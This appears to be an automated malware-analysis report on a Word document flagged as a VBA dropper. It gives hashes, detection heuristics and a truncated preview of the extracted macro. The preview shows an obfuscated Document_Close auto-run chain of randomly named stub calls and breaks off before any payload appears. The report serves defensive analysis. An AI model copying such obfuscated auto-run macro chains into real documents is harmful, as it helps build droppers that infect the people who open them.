Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ec110844e1178fb…

MALICIOUS

Office (OLE)

1.35 MB Created: 2018-09-14 04:03:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: 105cb810f7471c8ecbab71e597bb5148 SHA-1: 2eed120cfe7e9cb9c910098d46b3d4f46edb00c2 SHA-256: 0ec110844e1178fb3784e81bd08f35ee464a80448204adae1bfdbac55fdbeded
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a large VBA macro. The macro utilizes the Shell() function, a critical indicator of malicious activity, suggesting it's designed to execute arbitrary commands. This functionality is commonly used to download and run additional malware. The ClamAV detection name 'Doc.Dropper.Agent-7079598-0' further supports its role as a dropper.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-7079598-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7079598-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 556409 bytes
SHA-256: f41ea80717c5c38ddd8c2ea4fb705c489b280278df7fb4a4d44f1aebd2ac376b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jhjhsfgcvgbhnjkm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub PrintBothSides()
    Dim iTemp As Integer

    ActiveDocument.PrintOut Copies:=1, PageType:=wdPrintOddPagesOnly
    iTemp = MsgBox("Switch paper to continue", vbOKCancel, "PrintBothSides")
    If iTemp = vbOK Then
        ActiveDocument.PrintOut Copies:=1, PageType:=wdPrintEvenPagesOnly
    End If
End Sub

Sub PrintSeps()
    ActiveDocument.Save
    Selection.HomeKey Unit:=wdStory

    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting

    'Change Red to White
    Selection.Find.Font.ColorIndex = wdRed
    Selection.Find.Replacement.Font.ColorIndex = wdWhite
    With Selection.Find
        .Text = ""
        .Replacement.Text = ""
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    ActiveDocument.PrintOut

    'Change White back to Red
    Selection.Find.Font.ColorIndex = wdWhite
    Selection.Find.Replacement.Font.ColorIndex = wdRed
    Selection.Find.Execute Replace:=wdReplaceAll

    'Change Auto to White
    Selection.Find.Font.ColorIndex = wdAuto
    Selection.Find.Replacement.Font.ColorIndex = wdWhite
    Selection.Find.Execute Replace:=wdReplaceAll

    'Change Black to White
    Selection.Find.Font.ColorIndex = wdBlack
    Selection.Find.Replacement.Font.ColorIndex = wdWhite
    Selection.Find.Execute Replace:=wdReplaceAll

    'Change Red to Black
    'This is done so that Red will print as Black
    'On some printers, non-black colors always
    'print as a shade of gray. You want them only
    'as black
    Selection.Find.Font.ColorIndex = wdRed
    Selection.Find.Replacement.Font.ColorIndex = wdBlack
    Selection.Find.Execute Replace:=wdReplaceAll

    ActiveDocument.PrintOut

    ActiveWindow.Close SaveChanges:=wdDoNotSaveChanges
End Sub



Sub dOcUmENT_cLOSe(): Call PYEXXCSOLDVQAENIWFCU: End Sub
Function PYEXXCSOLDVQAENIWFCU() As Double
Call JIENHGOIMHWHZWEMJTO
End Function





Static Function JIENHGOIMHWHZWEMJTO() As Long
Call WFZGDYCDYLERNMCB
End Function
Sub WFZGDYCDYLERNMCB()
Call TJIAIODUUDVOZHLT
End Sub
Private Function TJIAIODUUDVOZHLT() As Date
Call YCUSWWZDEOLNWEXI
End Function
Sub YCUSWWZDEOLNWEXI()
Call PHSEGSIWXSOVNVVL
End Sub
Function PHSEGSIWXSOVNVVL() As Integer
Call GRPGJOCOPSMCSFSK
End Function
Static Sub GRPGJOCOPSMCSFSK()
Call IUONUZEDWKNTJDRL
End Sub
Static Sub IUONUZEDWKNTJDRL()
Call IKDYKMNGGVZLFNGX
End Sub
Private Sub IKDYKMNGGVZLFNGX()
Call UTTPGNFHEZNMNLWK
End Sub
Private Function UTTPGNFHEZNMNLWK() As Integer
Call XJCUMXCKGXDBYXFB
End Function
Sub XJCUMXCKGXDBYXFB()
Call UQTHJNNIRPPMGCWM
End Sub
Sub UQTHJNNIRPPMGCWM()
Call BYHTTTCVHBVXQVKT
End Sub
Sub BYHTTTCVHBVXQVKT()
Call RHNYWQWVQFSRCWQQ
End Sub
Function RHNYWQWVQFSRCWQQ() As Single
Call QTZVDEGSSEFZNVBC
End Function
Static Sub QTZVDEGSSEFZNVBC()
Call BVDFZGNFTWZDOZGX
End Sub
Static Function BVDFZGNFTWZDOZGX() As Byte
Call BPAJHTHPTHFJGTDD
End Function
Static Sub BPAJHTHPTHFJGTDD()
Call WXWCPLEOMLMWYWZK
End Sub
Static Sub WXWCPLEOMLMWYWZK()
Call RGJSYDAEOLUYIJMS
End Sub
Sub RGJSYDAEOLUYIJMS()
Call XMGIHKQAUCZVATJX
End Sub
Private Function XMGIHKQAUCZVATJX() As Boolean
Call DYCNJRQVZOATFXFY
End Function
Sub DYCNJRQVZOATFXFY()
Call CFOUXFQSDTQBCDRO
End Sub
Sub CFOUXFQSDTQBCDRO()
Call AVILXTKWURXWJMKV
End Sub
Static Function AVILXTKWURXWJMKV() As Variant
Call UWSXDNXHQJKNUVVI
End Function
Static Function UWSXDNXHQJKNUVVI() As Variant
Call UUXVEABYFTLGHYAJ
End Function
Private Function UUXVEABYFTLGHYAJ() As Boolean
Call QQVIIR
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.